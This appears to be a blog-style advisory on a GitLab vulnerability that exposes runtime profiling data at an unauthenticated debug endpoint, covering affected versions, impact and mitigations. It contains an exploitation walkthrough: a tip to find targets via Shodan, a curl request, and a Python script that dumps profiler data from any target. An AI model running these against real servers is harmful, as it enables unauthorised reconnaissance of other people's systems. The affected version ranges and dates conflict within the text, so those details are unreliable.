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Introduction

In early 2025, a significant security vulnerability was discovered in GitLab Community Edition (CE) and Enterprise Edition (EE). Tracked as CVE-2025-2469, it affects a wide range of GitLab installations and exposes sensitive internal data through a simple web request. This post will break down the vulnerability, how it can be exploited, the dangers involved, and how to secure your GitLab instance.

What is CVE-2025-2469?

GitLab is a web-based DevOps lifecycle tool that provides a Git repository manager providing wiki, issue-tracking, and CI/CD pipeline features. The disclosed vulnerability impacts:

GitLab CE and EE from 17.10. up to (but not including) 17.10.4

This issue makes it possible for anyone — even an unauthenticated user — to access runtime profiling data of a particular internal service in a vulnerable GitLab server. Normally, such data is only for admins who need to debug or monitor the application. When attackers get it, they can piece together valuable info about how the server works.

What is "Runtime Profiling Data"?

Think of runtime profiling data as a behind-the-scenes look at the guts of an application. It can include:

Names and paths of internal functions

In the wrong hands, this information can help an attacker plan further exploitation, find more vulnerable endpoints, or even escalate privileges if coupled with other bugs.

Vulnerable Endpoint

The vulnerability is present in the endpoint used for exposing profiling info, typically accessible at:

/-/debug/profiler

or similar paths, depending on the service and GitLab version.

Before this was patched, no authentication check protected this endpoint. Anyone with a browser or command line tool could access detailed, live system stats about the server directly.

Exploitation Walkthrough

Let's see just how trivially this can be exploited.

Step 1: Locate a Vulnerable Server

First, you need to find a running instance of GitLab in the vulnerable range (17.9.x < 17.9.6, 17.10.x < 17.10.4). This can be done with tools like Shodan or Censys by searching for identifying banners or exposed /users/sign_in endpoints.

No login required! From your terminal

curl http://gitlab.example.com/-/debug/profiler

Or via browser, just navigate to

http://gitlab.example.com/-/debug/profiler

Sample Output

Depending on configuration, you might receive a response similar to this (redacted for safety and brevity):

Profile: CPU
Duration: 10s
Samples: 100

Type: goroutine
Count: 34

Type: heap
Alloc objects: 532,456
...
Function: app/services/update_project_service.rb:23
...

This contains internal paths, running functions, and live stats.

Here is a basic Python script to list profiling data for target GitLab instances

import sys
import requests

if len(sys.argv) != 2:
    print("Usage: python3 get_profiler.py http://target-gitlab";)
    sys.exit(1)

url = f"{sys.argv[1].rstrip('/')}/-/debug/profiler"

resp = requests.get(url)
if resp.status_code == 200:
    print("[+] Profiler data dumped:")
    print(resp.text)
else:
    print(f"[-] Endpoint returned: {resp.status_code}")

Why Does This Matter?

- Reconnaissance: Exposed profiling data can give attackers a roadmap to the application’s inner workings.
- Further Exploitation: Attackers may gather memory addresses, process IDs, and internal names to chain with other vulnerabilities.

All users on 17.10 should upgrade to 17.10.4

Upgrading closes off unauthenticated users immediately, restricting access to only privileged users (or disables the endpoint altogether).

- GitLab Security Release Blog (2025-04-22)
- Official GitLab Advisory for CVE-2025-2469

Defense-in-Depth Tips

- Network Segmentation: Restrict web admin/monitoring interfaces to trusted networks.
- Web Application Firewalls (WAFs): Use WAF rules to prevent external access to /-/debug/* or similar paths.
- Disable Unused Services: If debugging is not needed in production, ensure these features are off.

Summary

CVE-2025-2469 is a simple but critical vulnerability. It lets unauthenticated users see deep runtime stats about your GitLab server, making attacks easier and more precise. The fix is equally simple: PATCH immediately.

Stay safe! Always monitor and secure your devops tools, and be wary of exposing any debugging or profiling endpoints to the public.

References

- Official GitLab CVE-2025-2469 Advisory
- GitLab 17.9.6 Security Release Notes
- GitLab 17.10.4 Security Release Notes


*This post is original and meant for educational and awareness purposes only.*

Timeline

Published on: 04/10/2025 14:15:27 UTC
Last modified on: 04/11/2025 15:39:52 UTC